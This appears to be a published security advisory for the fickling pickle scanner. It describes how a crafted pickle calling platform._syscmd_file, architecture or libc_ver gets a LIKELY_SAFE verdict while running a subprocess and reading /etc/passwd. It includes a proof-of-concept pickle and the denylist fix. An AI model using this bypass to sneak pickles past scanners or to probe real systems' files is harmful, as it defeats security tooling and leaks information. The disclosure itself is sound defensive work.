fickling's `platform` module subprocess invocation evades `check_safety()` with `LIKELY_SAFE`

Our assessment

We added platform to the blocklist of unsafe modules (https://github.com/trailofbits/fickling/commit/351ed4d4242b447c0ffd550bb66b40695f3f9975).

It was not possible to inject extra arguments to file without first monkey-patching platform._follow_symlinks with the pickle, as it always returns an absolute path. We independently hardened it with https://github.com/trailofbits/fickling/commit/b9e690c5a57ee9cd341de947fc6151959f4ae359 to reduce the risk of obtaining direct module references while evading detection.

https://github.com/python/cpython/blob/6d1e9ceed3e70ebc39953f5ad4f20702ffa32119/Lib/platform.py#L687-L695

target = _follow_symlinks(target)
# "file" output is locale dependent: force the usage of the C locale
# to get deterministic behavior.
env = dict(os.environ, LC_ALL='C')
try:
    # -b: do not prepend filenames to output lines (brief mode)
    output = subprocess.check_output(['file', '-b', target],
                                     stderr=subprocess.DEVNULL,
                                     env=env)

Original report

Summary

A crafted pickle invoking platform._syscmd_file, platform.architecture, or platform.libc_ver passes check_safety() with Severity.LIKELY_SAFE and zero findings. During fickling.loads(), these functions invoke subprocess.check_output with attacker-controlled arguments or read arbitrary files from disk.

Clarification: The subprocess call uses a list argument (['file', '-b', target]), not shell=True, so the attacker controls the file path argument to the file command, not the command itself. The impact is subprocess invocation with attacker-controlled arguments and information disclosure (file type probing), not arbitrary command injection.

Affected versions

<= 0.1.9 (verified on upstream HEAD as of 2026-03-04)

Non-duplication check against published Fickling GHSAs

No published advisory covers platform module false-negative bypass. This follows the same structural pattern as GHSA-5hwf-rc88-82xm (missing modules in UNSAFE_IMPORTS) but covers a distinct set of functions.

Root cause

1. platform not in UNSAFE_IMPORTS denylist.
2. OvertlyBadEvals skips calls imported from stdlib modules.
3. UnusedVariables heuristic neutralized by making call result appear used (SETITEMS path).

Reproduction (clean upstream)

from unittest.mock import patch
import fickling
import fickling.fickle as op
from fickling.fickle import Pickled
from fickling.analysis import check_safety

pickled = Pickled([
    op.Proto.create(4),
    op.ShortBinUnicode('platform'),
    op.ShortBinUnicode('_syscmd_file'),
    op.StackGlobal(),
    op.ShortBinUnicode('/etc/passwd'),
    op.TupleOne(),
    op.Reduce(),
    op.Memoize(),
    op.EmptyDict(),
    op.ShortBinUnicode('init'),
    op.ShortBinUnicode('x'),
    op.SetItem(),
    op.Mark(),
    op.ShortBinUnicode('trace'),
    op.BinGet(0),
    op.SetItems(),
    op.Stop(),
])

results = check_safety(pickled)
print(results.severity.name, len(results.results))  # LIKELY_SAFE 0

with patch('subprocess.check_output', return_value=b'ASCII text') as mock_sub:
    fickling.loads(pickled.dumps())
    print('subprocess called?', mock_sub.called)       # True
    print('args:', mock_sub.call_args[0])               # (['file', '-b', '/etc/passwd'],)

Additional affected functions (same pattern):

• platform.architecture('/etc/passwd') — calls _syscmd_file internally
• platform.libc_ver('/etc/passwd') — opens and reads arbitrary file contents

Minimal patch diff

--- a/fickling/fickle.py
+++ b/fickling/fickle.py
@@
+        "platform",

Validation after patch

• Same PoC flips to LIKELY_OVERTLY_MALICIOUS
• fickling.loads raises UnsafeFileError
• subprocess.check_output is not called

Impact

• False-negative verdict: check_safety() returns LIKELY_SAFE with zero findings for a pickle that invokes a subprocess with attacker-controlled arguments.
• Subprocess invocation: platform._syscmd_file calls subprocess.check_output(['file', '-b', target]) where target is attacker-controlled. The file command reads file headers and returns type information, enabling file existence and type probing.
• File read: platform.libc_ver opens and reads chunks of an attacker-specified file path.